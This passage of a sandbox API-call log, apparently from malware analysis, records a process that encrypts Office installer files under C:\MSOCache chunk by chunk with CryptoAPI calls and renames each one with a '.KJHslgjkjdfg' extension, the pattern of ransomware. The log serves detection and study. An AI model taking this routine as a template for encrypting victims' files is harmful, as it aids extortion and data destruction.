out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0146.989] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0146.989] GetProcessHeap () returned 0x2ef0000 [0146.989] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0146.989] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40) returned 1 [0146.989] CryptDestroyKey (hKey=0x2f18208) returned 1 [0146.989] WriteFile (in: hFile=0x124, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff4f4*=0x40, lpOverlapped=0x0) returned 1 [0146.992] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff4fc*, lpNumberOfBytesWritten=0x4dff4f4*=0x4, lpOverlapped=0x0) returned 1 [0146.993] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f4*=0x10, lpOverlapped=0x0) returned 1 [0146.993] WriteFile (in: hFile=0x124, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff4f4*=0x80, lpOverlapped=0x0) returned 1 [0146.993] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0146.993] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f4*=0x8, lpOverlapped=0x0) returned 1 [0146.993] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0146.993] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0146.993] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0146.993] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0146.997] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0147.002] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.002] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0147.003] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2634d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.003] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0147.003] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0147.004] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0147.016] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0147.018] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.018] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0147.020] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2634d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.020] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0147.021] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0147.021] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0147.028] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0147.031] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.031] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0147.032] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2634d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.032] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0147.033] CryptDestroyKey (hKey=0x2f18208) returned 1 [0147.033] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2634d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.033] SetEndOfFile (hFile=0x124) returned 1 [0147.036] GetProcessHeap () returned 0x2ef0000 [0147.036] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0147.036] GetProcessHeap () returned 0x2ef0000 [0147.036] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0147.036] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.kjhslgjkjdfg")) returned 1 [0147.037] CloseHandle (hObject=0x124) returned 1 [0147.037] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PowerPointMUI.xml", cAlternateFileName="POWERP~1.XML")) returned 1 [0147.037] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0147.037] GetProcessHeap () returned 0x2ef0000 [0147.037] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0147.037] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0147.037] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff518 | out: lpNewFilePointer=0x0) returned 1 [0147.037] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f8*=0x6, lpOverlapped=0x0) returned 1 [0147.039] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0147.039] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0147.039] GetProcessHeap () returned 0x2ef0000 [0147.039] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0147.039] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff4e0*=0x40) returned 1 [0147.039] CryptDestroyKey (hKey=0x2f18208) returned 1 [0147.039] WriteFile (in: hFile=0x124, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff4f8*=0x40, lpOverlapped=0x0) returned 1 [0147.040] WriteFile (in: hFile=0x124, lpBuffer=0x4dff500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff500*, lpNumberOfBytesWritten=0x4dff4f8*=0x4, lpOverlapped=0x0) returned 1 [0147.040] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f8*=0x10, lpOverlapped=0x0) returned 1 [0147.040] WriteFile (in: hFile=0x124, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff4f8*=0x80, lpOverlapped=0x0) returned 1 [0147.040] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0147.040] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f8*=0x8, lpOverlapped=0x0) returned 1 [0147.040] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0147.040] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0147.040] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.040] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5aa, lpNumberOfBytesRead=0x4dff504, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff504*=0x5aa, lpOverlapped=0x0) returned 1 [0147.040] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x5b0) returned 1 [0147.040] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.040] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4f8*=0x5b0, lpOverlapped=0x0) returned 1 [0147.040] CryptDestroyKey (hKey=0x2f18208) returned 1 [0147.040] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.040] SetEndOfFile (hFile=0x124) returned 1 [0147.043] GetProcessHeap () returned 0x2ef0000 [0147.043] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0147.043] GetProcessHeap () returned 0x2ef0000 [0147.043] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0147.043] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.kjhslgjkjdfg")) returned 1 [0147.044] CloseHandle (hObject=0x124) returned 1 [0147.044] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d523500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2d523500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8b079d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x431a290, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PptLR.cab", cAlternateFileName="")) returned 1 [0147.044] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0147.047] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x4dff508 | out: lpFileSize=0x4dff508*=70361744) returned 1 [0147.047] GetProcessHeap () returned 0x2ef0000 [0147.047] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0147.047] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0147.047] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.048] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0147.048] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0147.048] GetProcessHeap () returned 0x2ef0000 [0147.048] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0147.048] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dff4d8*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dff4d8*=0x30) returned 1 [0147.048] CryptDestroyKey (hKey=0x2f18208) returned 1 [0147.048] WriteFile (in: hFile=0x124, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dff4f4*=0x30, lpOverlapped=0x0) returned 1 [0147.050] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff4fc*, lpNumberOfBytesWritten=0x4dff4f4*=0x4, lpOverlapped=0x0) returned 1 [0147.050] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f4*=0x10, lpOverlapped=0x0) returned 1 [0147.050] WriteFile (in: hFile=0x124, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff4f4*=0x80, lpOverlapped=0x0) returned 1 [0147.051] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0147.051] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f4*=0x8, lpOverlapped=0x0) returned 1 [0147.051] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0147.051] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0147.051] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0147.051] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0147.057] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0147.062] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.062] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0147.063] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x431a354, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.063] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0147.063] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x165e0da, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0147.064] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0147.067] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0147.071] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x165e0da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.071] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0147.072] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x431a354, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.072] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0147.072] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x42da290, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0147.072] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0147.074] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0147.077] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x42da290, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.077] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0147.078] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x431a354, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.078] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0147.079] CryptDestroyKey (hKey=0x2f18208) returned 1 [0147.079] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x431a354, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.079] SetEndOfFile (hFile=0x124) returned 1 [0147.082] GetProcessHeap () returned 0x2ef0000 [0147.082] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0147.082] GetProcessHeap () returned 0x2ef0000 [0147.082] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0147.082] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.kjhslgjkjdfg")) returned 1 [0147.083] CloseHandle (hObject=0x124) returned 1 [0147.083] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0147.083] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0147.084] GetProcessHeap () returned 0x2ef0000 [0147.084] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0147.084] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0147.084] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff518 | out: lpNewFilePointer=0x0) returned 1 [0147.084] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f8*=0x2, lpOverlapped=0x0) returned 1 